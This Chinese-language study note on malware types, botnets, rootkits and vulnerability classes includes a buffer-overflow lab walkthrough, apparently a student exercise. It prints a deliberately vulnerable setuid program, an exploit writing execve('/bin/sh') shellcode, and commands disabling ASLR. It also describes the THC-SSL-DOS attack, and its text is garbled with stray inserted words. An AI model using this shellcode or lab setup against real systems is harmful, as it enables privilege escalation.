1.1 .1 恶意代码的定义:
恶意代码是指使计算机安装攻击者意图执行的指令集
1.1.2 恶意代码的分类:
计算机病毒、蠕虫、恶意移动代码、后门、特洛伊木马、僵尸程序、内核套件(Rootkit)、融合型恶意代码。python
1.2.1 计算机病毒的基本特性
感染性、潜伏性、可触发性、破坏性、衍生性
1.2.2 感染及引导机制
可执行文件、引导扇区、支持宏指令的数据文件
1.2.3 传播机制
移动存储、电子邮件、下载、共享目录
1.2.4 网络蠕虫linux
基本特性:经过网络自主传播 组成结构:弹头(缓冲区溢出攻击、文件共享攻击、利用电子邮件传播、利用其余广泛的错误配置)、传播引擎、目标选择算法、扫描引擎、有效载荷
1.2.5 后门与木马
后门容许攻击者绕过系统常规安全控制机制的程序,可以按照攻击者本身的意图提供访问通道
木马其做为特洛伊木马的简称,是指一类看起来具备某个有用或者善意目的,但实际掩盖着一些隐藏恶意功能的程序。
1.2.6 僵尸程序与僵尸网算法
僵尸网络的定义
僵尸网络是在网络蠕虫、特洛伊木马、后门工具等传统恶意代码形态的基础上发展融合而产生的一种新型攻击方式。僵尸网络是指攻击者出于恶意目的,传播僵尸程序控制大量主机,并经过一对多的命令与控制信道所组成的网络。
僵尸网络区别于其余攻击方式的基本特性
使用一对多的命令与控制机制,另外,僵尸网络还具备恶意性和网络传播性。
僵尸网络功能结构
网络控制器和僵尸程序,其中僵尸程序分为主体功能模块和辅助功能模块
僵尸程序的命令与控制机制
基于IRC协议的命令与控制机制、基于HTTP协议的命令与控制机制、基于P2P协议的命令与控制机制shell
1.2.7 Rootkitwindows
Rootkit的定义
一类特洛伊木马后门工具,经过修改现有的操做系统软件,使攻击者得到访问权并隐藏在计算机中。
分类
用户模式Rootkit和内核模式Rootkit(Linux内核模式Rootkit、Windows内核模式Rootkit)。浏览器
静态分析和动态分析sass
恶意代码发烧友的分析环境 基于虚拟化构建恶意代码分析环境 用于研究的恶意代码自动分析环境
反病毒软件扫描 文件格式识别(识别软件:PEiD、FileInfo、FileAnalzer) 字符串提取分析 二进制结构分析 反汇编 反编译 代码结构与逻辑分析 加壳识别和代码脱壳
恶意代码动态分析技术:基于快照对比的方法和工具、系统动态行为监控方法(文件行为监控软件、进程行为监控软件、注册表监控软件、本地网络栈行为监控软件)、网络协议栈监控方法、沙箱技术、动态调试技术安全
软件安全漏洞威胁
系统的脆弱性或缺陷、攻击者对缺陷的可访问性和攻击者对缺陷的可利用性三个元素
软件安全困境
复杂性、可扩展性、连通性
软件安全漏洞类型
XSS、SQL注入、PHP远程文件包含、目录遍历、信息泄露、由畸形输入致使的拒绝服务、符号连接问题、格式化字符串、密码学缺陷。
按照技术类:内存安全规范类、输入验证类、竞争条件类、权限混淆与提高类。bash
缓冲区溢出定义
计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区自己的容量,致使外溢数据覆盖了相邻内存空间的合法数据,从而改变了程序执行流程破坏系统运行完整性。
缓冲区溢出攻击原理
栈溢出、堆溢出、内核溢出。服务器
Linux平台栈溢出攻击技术的模式
NSR、RNS、RS三种模式。
NSR和RNS模式适用于本地缓冲区溢出和远程栈溢出攻击,而RS模式只能用于本地缓冲区溢出攻击。
Linux平台的Shellcode实现技术Linux本地Shellcode实现机制、Linux远程Shellcode实现机制
Windows平台栈溢出攻击技术
Windows平台栈溢出攻击技术机理:对程序运行过程当中废弃栈的处理方式差别、进程内存空间的布局差别、系统功能调用的实现方式差别
Windows平台Shellcode实现技术Windows本地Shellcode、Windows远程Shellcode
在kali上输入命令安装一些用于编译32位C程序sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-dev
输入linux3
,进入32位linux环境;继续输入/bin/bash
使用bash:
使用命令sudo sysctl -w kernel.randomize_va_space=0
关闭地址空间随机化来随机堆和栈的初始地址
用如下命令设置zsh程序
sudo su cd /bin rm sh ln -s zsh sh exit
通常状况下,缓冲区溢出会形成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而若是覆盖返回地址的数据是另外一个地址,那么程序就会跳转到该地址,若是该地址存放的是一段精心设计的代码用于实现其余功能,这段代码就是shellcode。
#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }
使用命令cd tmp
进入tmp目录使用命令vi stack.c
保存到 /tmp 目录下
代码以下
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
编译stack.c程序,并设置SET-UID,使用以下命令
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
一样把如下代码保存为“exploit.c”文件,保存到 /tmp 目录下
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
输入命令gdb stack
进入gdb调试disass main
获得shellcode在内存中的地址
地址计算方法:
shellcode保存在 buffer+100 的位置,将100换为十六进制与ffffd3f0相加获得ffffd454,添加到exploit.c的此处“\x??\x??\x??\x??“
修改后使用命令gcc -m32 -o exploit exploit.c
编译exploit.c程序
先运行攻击程序exploit,再运行漏洞程序stack
屡次尝试仍然出现段错误,代码和成功实验同样,不知哪里出错了
压力测试经过肯定一个系统的瓶颈或者不能接受的性能特色,来得到系统能提供的最大的服务级别的测试。通俗的讲,压力测试是为了发如今什么条件下您的应用程序的性能会变得不可接受。kali下压力测试工具宝库VoIP压力测试,WEB压力测试,网络压力测试及无线压力测试四个分类。
借助THC-SSL-DOS攻击工具,任何人均可以把提供SSL安全链接的网站攻击下线,这种攻击方法被称为SSL拒绝服务攻击(SSL DOS)。德国黑客组织“The hacker's choice”发布THC SSL DOS,利用SSL中的已知弱点,迅速消耗服务器资源,与传统DDoS工具不一样的是,它不须要任何带宽,只须要一台执行单一攻击的电脑。 漏洞存在于协议的renegotiation过中,renegotiation被用于浏览器到服务器之间的验证。
数字取证技术将计算机调查和分析技术应用于对潜在的,有法律效力的电子证据的肯定与获取,一样他们都是针对黑客和入侵的,目的都是保障网络的安全。
取证分隔工具binwalk
binwalk是一个固定的分析工具,旨在协助研究人员对固件非分析,提取及逆向工程用处。简单易用,彻底自动化脚本,并经过自定义签名,提取规则和插件模块,还有重要的一点的是能够轻松的扩展。借助binwalk有个很强大的功能是提取文件(压缩包)中存在的隐藏文件(或内容文件),亦可分析文件格式。,解压缩包,查看压缩包。
分析一个压缩包,可告知从什么地址开始什么地址结束
使用-e功能可直接将文件解压出来
可做为文件格式分析的工具
数字取证套件
两个图形化的界面autopsy(以浏览器的形式访问本地的9999端口)
程序的图形化界面dff,图形界面是dff.gui